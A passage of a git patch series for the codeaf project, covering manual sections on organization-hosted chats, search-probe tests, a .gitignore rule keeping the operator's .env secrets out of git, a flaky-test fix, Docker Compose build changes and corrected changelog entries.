what is said, and what it makes reaches the workstream's Files. Others in the workstream see what it makes as tasks and files, never what is said. +When the organization's server keeps people's chats (one that also gives you My space), an organization's Chats tab starts chats like a Personal one. Each runs on the organization's server, never on this computer, is private to you in what is said, and what it makes reaches the workstream's Files. Others in the workstream see what it makes as tasks and files, never what is said. It works with the workstream's tools and has no shell; a hosted chat, which has a shell and a folder it works in, is a different thing ("Chats that run on the organization's server"). On an organization's server that does not keep chats, the Chats tab has no box to start one, and says: "Chats aren't started in an organization's workstream: one would run on this computer, where what it makes never reaches Files and Afi can't read it. Ask Afi or add a task instead." Afi's pane works there as always, and a task you add is kept on the organization's server for everyone in the workstream. A chat you started there before that change is still listed on its Chats tab. @@ -90,7 +90,7 @@ Give Afi big work (work that splits into five or more tasks), or tell it "you co That chat splits the work into tasks under a group with the same name, with owners and what waits on what. Five or more appear in Tasks as a plan with **Start** (once spelled "Start all") and **Change the plan**, and nothing in it starts until you press Start. **Change the plan** opens that chat with "Change the plan for : " ready in its box, so you tell the chat that owns the plan. With fewer than five, the chat asks you first, or goes ahead within the workstream's "Start without asking" amount. Once started, the chat runs the tasks in order, each starting by itself once what it waits on is done (pressing Start is consent for the whole plan), within the workstream's "Start without asking" rule, checks each result against its request, and comes to you only when a task needs you, with an Ask on that task. One name leads to two places: in Chats, your private conversation about the work; in Tasks, the shared group everyone in the workstream sees. -On an organization whose agents run on its server, Afi has no ws_chat_start: it cannot start or read your chats there. There Afi gives the tasks one group in Up next itself, and nothing yet works an organization's task unattended: each waits in Up next until its owner marks it done or stops it. +On an organization whose agents run on its server, Afi has no ws_chat_start: it cannot start or read your chats there. There Afi gives the tasks one group in Up next itself, and the organization's server works each task an agent does in a run of its own, never in anyone's private pane; a plan of five or more waits for one press of Start first. ## how Afi breaks work into tasks — how many tasks, how big a task is, where the steps of a task go, too many tiny tasks, one Start for the plan diff --git a/internal/manual/chat/workstream-people-and-rules.md b/internal/manual/chat/workstream-people-and-rules.md index 52efce3a14..46e9e8d45a 100644 --- a/internal/manual/chat/workstream-people-and-rules.md +++ b/internal/manual/chat/workstream-people-and-rules.md @@ -124,7 +124,7 @@ Delete appears in More instead of Archive only for a workstream that holds nothi ## my computer is asleep or offline — is the work lost? no internet, connection refused, message not sent -No. When the computer running the agents is asleep or offline (this Mac's engine stopped, or an organization's server cannot be reached), the workstream keeps showing what it last read, and the line under its name says so: "This Mac is offline · answers send when it is back; work is paused, not lost" (or "The organization's server is offline · …"). Its tasks, files, Asks and decisions are all kept. An agent's turn that was running stops with the computer; when the computer is back, the task is still there, and a task that did not finish can be started again from its document. Closing the app stops the turns it was running; such a task reads "Interrupted: the app closed while this was running", and Start runs it again. +No. When the computer running the agents is asleep or offline (this Mac's engine stopped, or an organization's server cannot be reached), the workstream keeps showing what it last read, and the line under its name says so: "This Mac is offline · answers send when it is back; work is paused, not lost" (or "The organization's server is offline · …"). Its tasks, files, Asks and decisions are all kept. An agent's turn that was running stops with the computer; when the computer is back, the task is still there, and a task that did not finish can be started again from its document. Closing the app stops the turns it was running on this computer (an organization's server keeps working without it); such a task reads "Interrupted: the app closed while this was running", and Start runs it again. A message sent while this computer cannot reach the model is kept, not failed: it reads "Paused · can't reach the model from this computer" and "It sends again by itself when the connection is back.", in grey, and is not counted as failed. The chat looks again on a slowing clock (30 seconds, then up to every five minutes) and sends it as soon as the model answers; Retry message sends it at once. Quitting and reopening the app keeps it, with Retry message still offered. From bd74458aec9dfcae893bed9829cb3f5f34c7b547 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:07:27 -0500 Subject: [PATCH 106/176] manual: answer "can my admin read my chats", "who pays for a shared chat" and "how do I join" New sections in a person's own words: what the operator, a company's IT and whoever runs the machine can see; switching between Personal and the organization and what each window shows; what happens when the server is down (one sentence, never run locally); a teammate sending messages while the owner has the chat open; joining a company's organization by invite link; and hosting one (Docker Compose, Railway, the operator's guide). Two headings take the words people use for them ("shared chat", "sandbox"). Seventeen probes in chat_test.go keep these questions reaching those pages. Co-Authored-By: Claude Sonnet 5.5 --- .../chat/organization-hosted-sessions.md | 26 +++++++++++++++++-- internal/manual/chat/organization-start.md | 12 +++++++++ internal/manual/chat_test.go | 19 ++++++++++++++ 3 files changed, 55 insertions(+), 2 deletions(-) diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 5d5772790f..576226e3b4 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -48,7 +48,7 @@ A chat made by a bot belongs to the person who made the bot, is private like any What the operator of the machine could do is a separate matter: see *what can the operator of the server see*. -## can one hosted chat read another chat's files or processes — every chat runs as its own user of the machine +## can one hosted chat read another chat's files or processes — the sandbox around a hosted chat: every chat runs as its own user of the machine Every chat runs as a separate user of the machine, in a folder only that user can read or write, so a command in one chat cannot read another chat's files, send it a signal or read its environment. Files a command leaves in `/tmp` or `/dev/shm`, which every chat on the machine shares, are closed to other chats unless you open them yourself, and a command cannot connect to another chat's local sockets. For the same reason two separate commands of one chat do not reach each other's abstract sockets (a socket whose name starts with `@`); sockets that are files, such as the ones tools keep in a folder, are not affected. That holds between two chats of the same person too. One thing a command can still see is that other chats exist: the folders above a chat are readable so the chat can save its history, which lists their names (a hashed name for each person and a random identifier for each chat) and nothing inside them. @@ -79,7 +79,7 @@ When the owner takes your access away, or the policy changes so you no longer ha Opening a chat that is not running starts it for its owner, which can be refused while its owner or the machine is running as many chats as are allowed. Then you read `This chat is not running, and there is no room to start it right now. Try again later.` -## who pays when someone else is in my hosted chat — it runs as the owner, with the owner's access and limits +## who pays for a shared chat — when someone else is in my hosted chat, it runs as the owner, with the owner's access and limits A shared chat always runs in the owner's folder on the machine, with the owner's model access and the owner's spending limits: what a guest's messages cost is counted to the owner, in the owner's My space, against the owner's chat limit and month. The server notes who last put words into the chat next to each charge, so the owner can see it was a guest, but that is approximate: a model call is credited to whoever last sent a message, redirected a turn or answered through the server, and the owner opening their own window puts it back to the owner. The owner's activity list (`GET /v1/hosted/audit`) holds one line for each message a guest sent, with who sent it (never what it said), and each line for the owner's GitHub access carries who was asking at the time. @@ -138,6 +138,28 @@ Other sentences you may read when using `--org`: ` is unreachable.`, ` is unreachable.` once, with **Try again**, and the chat stays where it is. If your sign-in is missing or has ended it says `Sign in to first.` In neither case does the app start a chat on your computer in its place: a hosted chat never falls back to running locally. A turn that was already running on the server goes on without you, and the conversation is there when the server answers again. + ## turn on chats on the server — for the operator Hosted chats are off by default. The operator turns them on by running the chats' machine beside the organization's server, in the organization's deployment (`deploy/org/README.md`, "Hosted chats"), and giving both the same long secret, which `./setup.sh` makes. diff --git a/internal/manual/chat/organization-start.md b/internal/manual/chat/organization-start.md index 892a069858..e50990b58a 100644 --- a/internal/manual/chat/organization-start.md +++ b/internal/manual/chat/organization-start.md @@ -55,3 +55,15 @@ Each row goes when it is done, or when you press "Not now", which puts it away o ## The first account starts the organization The first-account link opens “Start your organization”, with “Create account” to create the organization's first account. It is not an invitation to an existing organization and does not ask you to create an operator account. The organization's sidebar has no GitHub-star promotion. + +## join my company's codeaf — paste the invite link, sign in, then switch to the organization + +You join an organization with the invite link its operator sent you; there is no account to make with anyone else. Open the link in the desktop app, or choose **Join an organization…** (File menu, the switcher at the foot of the strip, or Settings › Organizations) and paste it. The page is headed **Sign in to WorkAF**, or **You're invited to** and the organization's name, and it offers the ways the organization's server takes: **Continue with a passkey**, **Use a password** (a username, a password of at least 12 characters and your name, then **Join**) and **Continue with GitHub**. Signing in creates your account. + +After that the organization has its own window: switch to it with the switcher, where **Personal** stays your own computer's account. Everything you make in the organization belongs to the organization, its chats run on its server, and a chat is private to you until you share it. The invite link works once, for one person, and an expired or used one says so in a sentence: ask the operator for a new one. See [Chats that run on the organization's server](organization-hosted-sessions.md) for what runs where and who can see it. + +## host an organization for my team — Docker Compose, Railway, and where the operator's guide is + +An organization is a server someone runs, and the public repository has everything to run one yourself. `deploy/org/` holds one Docker Compose file that starts the organization server, the AgentField control plane, SWE-AF and PR-AF, plus an optional machine for hosted chats. `docs/organizations.md` says what an organization is, what runs where and who can see what, with a ten-minute path from nothing to a first hosted chat, and `deploy/org/README.md` is the operator's walkthrough: HTTPS, backups, upgrades, the published images and Railway. + +In short: `./setup.sh` writes `.env` with fresh secrets, `docker compose up -d` starts everything, and `./operator-link.sh` prints the operator link. That link is a secret and works once; whoever opens it first becomes the operator, who then invites people from People. Anyone connecting from another computer needs HTTPS in front of the server. The same Dockerfiles run on Railway as separate services in one project, hosted chats' machine included, when set up by hand; the draft Railway template made from the published images does not carry that machine yet. diff --git a/internal/manual/chat_test.go b/internal/manual/chat_test.go index e71db8bc3e..6ea7c72589 100644 --- a/internal/manual/chat_test.go +++ b/internal/manual/chat_test.go @@ -3979,6 +3979,25 @@ func TestTheChatManualAnswersTheQuestionsPeopleAsk(t *testing.T) { {"what does loopback_trust do", "factory"}, {"is a request through a reverse proxy on the same machine treated as local", "factory"}, {"can a runner on the same machine as my team server attach without a token", "factory"}, + // Joining, living in and hosting an organization, in the words of the + // person who joins one and of the person who runs one. + {"can my admin read my chats", "organization-hosted-sessions"}, + {"can my company's IT see my conversations in the organization", "organization-hosted-sessions"}, + {"who pays for a shared chat", "organization-hosted-sessions"}, + {"who pays for a chat I shared with a teammate", "organization-hosted-sessions"}, + {"how do I join my company's codeaf", "organization-start"}, + {"I got an invite link from my company, what do I do with it", "organization-start"}, + {"how do I switch between my personal account and my company's organization", "organization-hosted-sessions"}, + {"does a chat I start in the organization's window run on my laptop", "organization-hosted-sessions"}, + {"what happens to my chat if the organization's server is down", "organization-hosted-sessions"}, + {"can the organization see the chats in my personal account", "organization-hosted-sessions"}, + {"how do I host my own codeaf organization with docker compose", "organization-start"}, + {"can I run the organization's server on Railway", "organization-start"}, + {"where is the operator's guide for running an organization", "organization-start"}, + {"how do I give a teammate read-only access to my hosted chat", "organization-hosted-sessions"}, + {"can a teammate send messages in my chat while I am using it", "organization-hosted-sessions"}, + {"what is the sandbox around a hosted chat", "organization-hosted-sessions"}, + {"can I add my own API key to the organization's chats", "organization-hosted-sessions"}, } for _, ask := range asked { found := Chat().Search(ask.question, DefaultResults) From 348a82f88848d46b796081d24799be33df43cfbb Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:10:39 -0500 Subject: [PATCH 107/176] change entry: organizations get an entry point, a corrected operator guide and manual sections Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2908-org-docs.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 docs/changes/unreleased/2908-org-docs.md diff --git a/docs/changes/unreleased/2908-org-docs.md b/docs/changes/unreleased/2908-org-docs.md new file mode 100644 index 0000000000..79486fb621 --- /dev/null +++ b/docs/changes/unreleased/2908-org-docs.md @@ -0,0 +1,18 @@ +--- +kind: changed +title: Organizations get an entry point, a corrected operator guide and manual sections people can find +pr: 2908 +surface: [docs, chat] +invalidates: + - "Was true: the manual said a chat moved into a shared workstream appears in the workstream's list for its people, by name, owner and state. Is true now: a moved chat stays as private as it was and is listed only to the people it is shared with." + - "Was true: the manual said a thing marked private is its owner's alone and that grants on it give nothing. Is true now: that holds for a workstream or a canvas; a grant on a private chat, Afi's pane or a hosted chat reaches the people it names and nobody else, and the workstream's people and the operator stay out unless the policy says otherwise." + - "Was true: the manual said only the owner can stop or delete a hosted chat. Is true now: stopping or deleting needs the manage permission, which the owner holds and a guest holds only through a role that includes it (the full role); anyone else who can see the chat reads that only the owner of the chat can stop or delete it." + - "Was true: the manual said a bot always starts hosted chats and reaches My space. Is true now: a bot starts them only where the organization's policy lets agents create, and only reads My space and the policy and people lists." + - "Was true: deploy/org's README said the stack has five named volumes, that nothing long-lived runs as root, that only the owner drives a hosted chat, that .env is ignored by git, and that a Railway project is seven services. Is true now: six volumes (sessions-data holds the hosted chats), the sessionhost stays root on purpose, a guest drives only through the verbs the owner shared, no rule keeps .env out of git, and the Railway project is six services (seven with the keyless model stub)." + - "Was true: the README told an operator to build the codeaf image from source and then run docker compose up -d --no-build. Is true now: Compose builds only what is missing, so it is plain docker compose up -d; --no-build is for when every image is already built or pulled." +--- + +New: `docs/organizations.md` says what an organization is, what runs where, who can see what and how to get to a first hosted chat +in about ten minutes, and the top-level README links to it. The manual answers "can my admin read my chats", "who pays for a +shared chat", "how do I join my company's codeaf", the Personal and organization accounts, the server-down case and how to host +one, and probes keep those questions reaching those pages. From 1ffed7b1f6c0dbd430828e8fd2fc1383fe052397 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:16:33 -0500 Subject: [PATCH 108/176] deploy/org: keep the operator's .env out of git setup.sh writes deploy/org/.env from .env.example, and that file holds the AgentField key, the organization token, the hosted-chats secret, the server key and the model keys. Neither the root .gitignore nor deploy/org/.gitignore named it, so a `git add` of the folder would have published all of them. The image builds already left it out (.dockerignore and codeaf.Dockerfile.dockerignore, which gate/context-check.sh proves by planting one); this closes the git side. The templates stay tracked: .env.example, .env.stub and .env.stub.hosted. Any other .env.* copy, a backup or a second environment, is ignored too. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/.gitignore | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/deploy/org/.gitignore b/deploy/org/.gitignore index b3aee5f1e0..501d12e983 100644 --- a/deploy/org/.gitignore +++ b/deploy/org/.gitignore @@ -1,2 +1,13 @@ # A codeaf built on this machine and copied here for `CODEAF_BINARY_FROM=local` image builds (codeaf.Dockerfile). codeaf-local + +# The operator's own settings and secrets: the server key, the hosted-chats secret, the AgentField key and the model +# keys. ./setup.sh writes `.env` from `.env.example`, so a stack that has been started has this file in the tree, and a +# `git add` of the folder would publish every secret in it. The templates stay tracked; a copy of the file under any +# other `.env.*` name (a backup, a second environment) is kept out too. A new template has to be named below on +# purpose, which is the point. +.env +.env.* +!.env.example +!.env.stub +!.env.stub.hosted From 78be76555dc681512eb66be68a1f352b73079309 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:27:51 -0500 Subject: [PATCH 109/176] quit_tail_test: the removed-computer quit takes the removal sentence a window would have shown TestL4HostedRemovedComputerQuitsQuietlyAndKeepsLocalHistory failed about one run in four, on the base commit ca8e437b75 as well as on org/main (7 of 30 there, 7 of 30 here; dev's nightly of 2026-11-22 failed it with the same text). The hold's heartbeat can reach the relay in the millisecond between the revoke and this computer's own removal marker, and the drive then raises "this device was removed ..." while the fixture has no window open. The engine keeps such a sentence for the closing report on purpose (Agent.TakeSavingNotices claims live sentences the window has not displayed), so the quit printed it. Product behaviour is unchanged and right: a person who quits before reading the sentence is told once, and a window that was open has already shown it. The fixture opens its window only at quit, so it now takes what the engine raised meanwhile, the way a window shows it, and fails on any other pending notice. The quit itself must still print nothing. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/quit_tail_test.go | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/cmd/codeaf/quit_tail_test.go b/cmd/codeaf/quit_tail_test.go index b763ab85a4..a4e3467125 100644 --- a/cmd/codeaf/quit_tail_test.go +++ b/cmd/codeaf/quit_tail_test.go @@ -17,6 +17,7 @@ import ( "github.com/Agent-Field/codeaf/internal/cell" "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/chatlist" "github.com/Agent-Field/codeaf/internal/enginehost" "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/guard" @@ -660,6 +661,21 @@ func checkRemovedHostedQuit(t *testing.T, stalled bool) { _, _ = h.a.Dir.List(t.Context()) h.wait("removal notice", h.a.Removed) h.say("Keep working locally after removal.") + // THE WINDOW WOULD HAVE SHOWN THE REMOVAL SENTENCE, SO THE QUIT IS NOT ITS + // ONE TO SAY. The hold's heartbeat can reach the relay in the millisecond + // between the revoke and this computer's own marker, and then the drive + // raises the sentence while nobody is looking; the engine keeps such a + // sentence for the closing report ("TakeSavingNotices also claims live + // sentences the window has not displayed"), which is right for a person who + // quits before reading it and is what made this test fail about one run in + // four (7 of 30 on the base commit as well). This fixture opens its window + // only at quit, so it takes the sentence the way a window shows it, once, + // and the quit that follows must still print nothing. + for _, line := range h.client.Agent().TakeSavingNotices() { + if line != chatlist.Removed { + t.Errorf("a notice other than the removal sentence was pending before quit: %q", line) + } + } h.mu.Lock() h.requests = nil h.mu.Unlock() From c5698ddb085856863e569c21be96d81af19f6dd0 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:18:17 -0500 Subject: [PATCH 110/176] deploy/org: the Compose stack builds codeaf from this checkout, so hosted chats run out of the box compose.yaml built the codeaf image with CODEAF_BINARY_FROM defaulting to `fetch`, which downloads the pinned release. No release has `codeaf sessionhost` yet, so a plain `docker compose up --build` produced a stack that could not run hosted chats. The three services that run the codeaf image (codeaf, runner, sessionhost) now share one build, `x-codeaf-build`, whose default is `source`: the binary is built from this checkout, the same build the published image is made from. That needs the repository root as the build context, so the build says so, and codeaf.Dockerfile.dockerignore lets the local-binary file in under that path too. `fetch` and `local` remain opt-in. The Dockerfile's own default stays `fetch`, because built by hand from deploy/org it has no source to build from. compose.yaml says when to flip the default back: once the release pinned in codeaf.Dockerfile answers `codeaf sessionhost --help`. README.md "Start it", "Turning it on" step 3 and the Railway note, and the headers of codeaf.Dockerfile and smoke.sh, no longer say that a plain build fetches the release. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 21 +++++++++------- deploy/org/codeaf.Dockerfile | 14 ++++++----- deploy/org/codeaf.Dockerfile.dockerignore | 4 ++- deploy/org/compose.yaml | 30 ++++++++++++++++++++--- deploy/org/smoke.sh | 3 ++- 5 files changed, 51 insertions(+), 21 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 88acc1c268..fdaeec8db2 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -37,8 +37,11 @@ docker compose up -d --build # the first build takes several minutes; later s docker compose ps # every service says "healthy" ``` -The first build downloads the pinned codeaf release (checked against its sha256) and builds SWE-AF and PR-AF -from pinned commits of their public repositories. +The first build compiles codeaf from this checkout (several minutes; the repository root is the build context) and builds SWE-AF +and PR-AF from pinned commits of their public repositories. codeaf is built from source because hosted chats need +`codeaf sessionhost` and no release has it yet. If you leave hosted chats off and want to skip the compile, +`CODEAF_BINARY_FROM=fetch docker compose up -d --build` downloads the pinned release instead (checked against its sha256); +`compose.yaml` says how to tell when `fetch` can be the default again. ## Claim the organization, invite a second person @@ -300,12 +303,11 @@ is a change to the wire's own protocol and not made here. `./setup.sh` also writes `CODEAF_SERVER_KEY`, which seals people's own keys: keep a copy. `CODEAF_HOSTED_MODEL_URL` is the address chats use to reach the organization server's model door (`http://codeaf:8787/v1/model` by default). -3. `docker compose up -d`. The image must hold a codeaf that has `codeaf sessionhost`, and the pinned release (what a plain - `--build` fetches) does not until one ships it. Use the published image (`--env-file images.env`, see "Published images"), or - build the codeaf image from this repository's source (the `docker build` under "Published images", run from the repository root, - which tags `codeaf-org/codeaf:local`) and start with `docker compose up -d --no-build`. `codeaf`, `runner` and `sessionhost` all - run that one image. Do not build from a binary of your own machine: the image should be this commit's source, which is what `codeaf version` - inside it reports. +3. `docker compose up -d --build`. The image must hold a codeaf that has `codeaf sessionhost`, and a plain build gives it one: Compose + builds codeaf from this checkout by default (`CODEAF_BINARY_FROM=source`, see "Start it"). Do not set `CODEAF_BINARY_FROM=fetch` for + hosted chats: the pinned release it downloads does not have the sessionhost until one ships it. To skip the compile, use the + published image (`--env-file images.env`, see "Published images"). `codeaf`, `runner` and `sessionhost` all run that one image. Do not build + from a binary of your own machine: the image should be this commit's source, which is what `codeaf version` inside it reports. The sessionhost sits on a network of its own, shared only with `codeaf`, so a chat's commands cannot reach AgentField, the nodes, the runner or the model stub. On a platform with no such network (Railway), the port limit above @@ -471,7 +473,8 @@ What a first install needs that the table does not show: - **Why `codeaf`, `runner` and `sessionhost` build from the repository root.** They are one image, and the pinned release a plain build fetches has no `codeaf sessionhost`, so the image is built from this repository's source (`CODEAF_BINARY_FROM=source`, and - `ORG_DIR` says where `deploy/org` is inside that context). Railway hands every service variable to the build as a build argument, + `ORG_DIR` says where `deploy/org` is inside that context; Compose passes the same two by default, but the Dockerfile's own default + stays `fetch`, so Railway has to set them). Railway hands every service variable to the build as a build argument, which is how those two reach it; they stay in the running service's environment too, where nothing reads them. Never use `CODEAF_BINARY_FROM=local`: it expects a binary beside the Dockerfile that a repository build does not have. Each of the three compiles codeaf (about four minutes each); the other four take about a minute. `codeaf version` in the running service names the diff --git a/deploy/org/codeaf.Dockerfile b/deploy/org/codeaf.Dockerfile index f1e6e3d213..567f25f9a6 100644 --- a/deploy/org/codeaf.Dockerfile +++ b/deploy/org/codeaf.Dockerfile @@ -6,11 +6,12 @@ # # WHERE THE BINARY COMES FROM (CODEAF_BINARY_FROM): # fetch a PUBLISHED, PINNED codeaf build: the dev-channel release below, checked -# against its sha256 before it enters the image. The default for a local -# `docker compose up --build`. To move to a newer build change all three -# of CODEAF_RELEASE and the two checksums together (they are in that -# release's checksums.txt); changing the strings also busts Docker's layer -# cache, which a floating "latest" would not. +# against its sha256 before it enters the image. The default of this file +# when it is built by hand; compose.yaml passes `source` instead, until the +# release below has `codeaf sessionhost` (compose.yaml says how to tell). +# To move to a newer build change all three of CODEAF_RELEASE and the two +# checksums together (they are in that release's checksums.txt); changing the +# strings also busts Docker's layer cache, which a floating "latest" would not. # source built here from the source in the build context, with `make build`, the # same build the release makes. This is what the published image is # (.github/workflows/org-images.yml): it carries exactly the commit it is @@ -23,7 +24,8 @@ # local a codeaf built on this machine and placed beside this file as `codeaf-local`. # docker build --build-arg CODEAF_BINARY_FROM=local -f codeaf.Dockerfile -t codeaf-org/codeaf:local . # -# Build context for fetch and local is this folder: docker build -f codeaf.Dockerfile -t codeaf-org . +# Built by hand, the context for fetch and local is this folder: docker build -f codeaf.Dockerfile -t codeaf-org . +# Compose builds all three modes from the repository root (ORG_DIR=deploy/org), because source needs it. # # EVERY BASE IMAGE IS PINNED BY DIGEST (tag kept for the reader). To move one, resolve the tag again # (`docker buildx imagetools inspect --format '{{.Manifest.Digest}}'`) and change tag and digest together. diff --git a/deploy/org/codeaf.Dockerfile.dockerignore b/deploy/org/codeaf.Dockerfile.dockerignore index 0c8f0c5d4e..d257400319 100644 --- a/deploy/org/codeaf.Dockerfile.dockerignore +++ b/deploy/org/codeaf.Dockerfile.dockerignore @@ -13,9 +13,11 @@ !third_party/raft !deploy/org/scripts -# The fetch and local builds: this folder is the context. +# The fetch and local builds by hand: this folder is the context. !scripts !codeaf-local +# The same files when Compose builds from the repository root (compose.yaml), whichever mode it is asked for. +!deploy/org/codeaf-local # LAST, so that it wins inside the folders allowed above: what never enters an image, wherever it sits. **/.env diff --git a/deploy/org/compose.yaml b/deploy/org/compose.yaml index 289bb48bc5..2187964827 100644 --- a/deploy/org/compose.yaml +++ b/deploy/org/compose.yaml @@ -3,7 +3,7 @@ # join with their own desktop apps by invite link. # # ./setup.sh # writes .env with fresh secrets (once) -# docker compose up -d # builds what is not published, starts everything +# docker compose up -d # builds what is missing (codeaf from this checkout), starts everything # docker compose logs codeaf | grep 'operator access link' # # deploy/org/README.md has the rest: joining, the keyless smoke test, upgrading, backups. @@ -14,6 +14,28 @@ x-defaults: &defaults init: false stop_grace_period: 30s +# How the codeaf image gets its binary. The `codeaf`, `runner` and `sessionhost` services all run this one image, and the +# hosted chats' machine is a command of the binary in it (`codeaf sessionhost`), which no published release has yet. So +# the default, CODEAF_BINARY_FROM=source, builds the binary from THIS checkout, the same build the published image is made +# from, and the build context is therefore the repository root (codeaf.Dockerfile.dockerignore lets in only the files +# that build needs). The first build compiles codeaf and takes several minutes; later ones reuse Docker's layer cache. +# CODEAF_BINARY_FROM=fetch downloads the pinned, checksummed release named in codeaf.Dockerfile: quick, but a release +# without `codeaf sessionhost` cannot run hosted chats, so use it only when you leave them off. +# CODEAF_BINARY_FROM=local takes a codeaf you built yourself and put beside this file as `codeaf-local`. +# FLIP THE DEFAULT BACK TO `fetch` when the release pinned in codeaf.Dockerfile (CODEAF_RELEASE) ships the sessionhost. The +# check that tells you is that release's own binary: `codeaf sessionhost --help` says "there is no `codeaf sessionhost`" while +# the release lacks it, and names the sessionhost's settings (CODEAF_SESSIONHOST_SECRET) once it has it. Then change the +# default below, and the "Start it" and "Railway" text in README.md, in the same change. +# SOURCE_COMMIT=$(git rev-parse HEAD) before `docker compose up --build` puts the commit into `codeaf version`; without it +# the image reports `unknown`, because the build has no .git to ask. +x-codeaf-build: &codeaf-build + context: ../.. + dockerfile: deploy/org/codeaf.Dockerfile + args: + ORG_DIR: deploy/org + CODEAF_BINARY_FROM: ${CODEAF_BINARY_FROM:-source} + SOURCE_COMMIT: ${SOURCE_COMMIT:-} + services: # --- AgentField: the control plane every node and the factory dial --------------------------- agentfield: @@ -42,7 +64,7 @@ services: codeaf: <<: *defaults image: ${CODEAF_ORG_IMAGE:-codeaf-org/codeaf:local} - build: { context: ., dockerfile: codeaf.Dockerfile, args: { CODEAF_BINARY_FROM: "${CODEAF_BINARY_FROM:-fetch}" } } + build: *codeaf-build command: ["server"] environment: CODEAF_ORG_NAME: ${CODEAF_ORG_NAME:-codeaf organization} @@ -91,7 +113,7 @@ services: runner: <<: *defaults image: ${CODEAF_ORG_IMAGE:-codeaf-org/codeaf:local} - build: { context: ., dockerfile: codeaf.Dockerfile, args: { CODEAF_BINARY_FROM: "${CODEAF_BINARY_FROM:-fetch}" } } + build: *codeaf-build command: ["runner"] depends_on: agentfield: { condition: service_healthy } @@ -180,7 +202,7 @@ services: <<: *defaults profiles: ["hosted"] image: ${CODEAF_ORG_IMAGE:-codeaf-org/codeaf:local} - build: { context: ., dockerfile: codeaf.Dockerfile, args: { CODEAF_BINARY_FROM: "${CODEAF_BINARY_FROM:-fetch}" } } + build: *codeaf-build command: ["sessionhost"] cap_drop: [ALL] cap_add: [SETUID, SETGID, CHOWN, KILL, SETPCAP] diff --git a/deploy/org/smoke.sh b/deploy/org/smoke.sh index e002ba8bb4..cd4bdf08fd 100755 --- a/deploy/org/smoke.sh +++ b/deploy/org/smoke.sh @@ -23,7 +23,8 @@ # client, are cleaned up on a stop, and survive a restart of the sessionhost; then (P1) the metered model door, people's own # keys and git through the organization, and (P2) private-by-default chats, a guest watching a shared chat through a wire that # refuses what the guest's rights do not allow, bots, and the hosting policy. It needs a codeaf with -# `codeaf sessionhost` in it, so build the image from a local binary (README.md "Hosted chats"): +# `codeaf sessionhost` in it. A plain run builds the image from this checkout (compose.yaml), which has it; to skip +# that compile, build the image from a binary you made yourself (README.md "Hosted chats"): # # cp ../../bin/codeaf codeaf-local && SMOKE_HOSTED=1 CODEAF_BINARY_FROM=local ./smoke.sh set -eu From 6a1b339500128977fd0c67795fe4527df0544eb4 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:18:34 -0500 Subject: [PATCH 111/176] change entry 2900: a person holding `manage` can stop and delete a hosted chat The entry said stopping a hosted chat stays the owner's whatever the role. The code lets anyone holding `manage` do it (hostedEnd in internal/factory/serve/hosted_proxy.go checks the manage verb, which the owner and the `full` role hold), and TestP2_7_HostedStopAndDeleteRequireManage has a person the chat is shared with at `full` stop it. The owner granting `full` is deliberate, so the entry now says what the code does; the code is unchanged. What stays the owner's on the wire is approving a command, settings and files. Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2900-hosted-chats-p2.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/changes/unreleased/2900-hosted-chats-p2.md b/docs/changes/unreleased/2900-hosted-chats-p2.md index 4e89e61818..e7c3715057 100644 --- a/docs/changes/unreleased/2900-hosted-chats-p2.md +++ b/docs/changes/unreleased/2900-hosted-chats-p2.md @@ -5,7 +5,7 @@ pr: 2900 surface: [chat, engine, factory, build, docs] invalidates: - "A hosted chat was known to the organization server only by its owner's handle: every person's chats were found by asking the chats' machine for that person, there was no way to give anyone else a view, and the operator was not told how to treat a chat it did not own. Now a hosted chat is a private session resource of the organization's access core: it is left out of every other person's list and live event stream (the operator's too), every door answers `There is no such chat.` for someone who may not see it, and sharing it by the ordinary grants path puts it in the other person's `shared` list. A chat made before this change is registered the first time its owner touches it." - - "Attaching to a hosted chat copied the owner's bytes both ways and nobody but the owner could attach. A person a chat is shared with now gets a wire the organization server ends itself and checks frame by frame: view watches and reads, steer also interrupts and steers, answer also answers a question, and run also sends messages, files, images and commands that execute as the chat's owner, with the owner's folder, GitHub identity, model key and spending caps. Everything else (approving a command, settings, files, stopping the chat) stays the owner's whatever the role, and `edit` and `full` hold `run`. Taking a share away, or changing the policy so it no longer applies, ends an open window within five seconds (CODEAF_HOSTED_HEARTBEAT, from one second to one minute)." + - "Attaching to a hosted chat copied the owner's bytes both ways and nobody but the owner could attach. A person a chat is shared with now gets a wire the organization server ends itself and checks frame by frame: view watches and reads, steer also interrupts and steers, answer also answers a question, and run also sends messages, files, images and commands that execute as the chat's owner, with the owner's folder, GitHub identity, model key and spending caps. Everything else on the chat's wire (approving a command, settings, files) stays the owner's whatever the role, and `edit` and `full` hold `run`. Stopping or deleting the chat is a separate door that needs the `manage` permission, which the owner and the `full` role hold, so a person the chat is shared with at `full` can stop and delete it and one at `edit` cannot. Taking a share away, or changing the policy so it no longer applies, ends an open window within five seconds (CODEAF_HOSTED_HEARTBEAT, from one second to one minute)." - "Who was in a chat was not written down: a spend row, a git credential and a message carried only the owner. Each message a guest sends now leaves an owner-visible audit line naming who sent it and never what it said, each git-credential line names who was asking, and 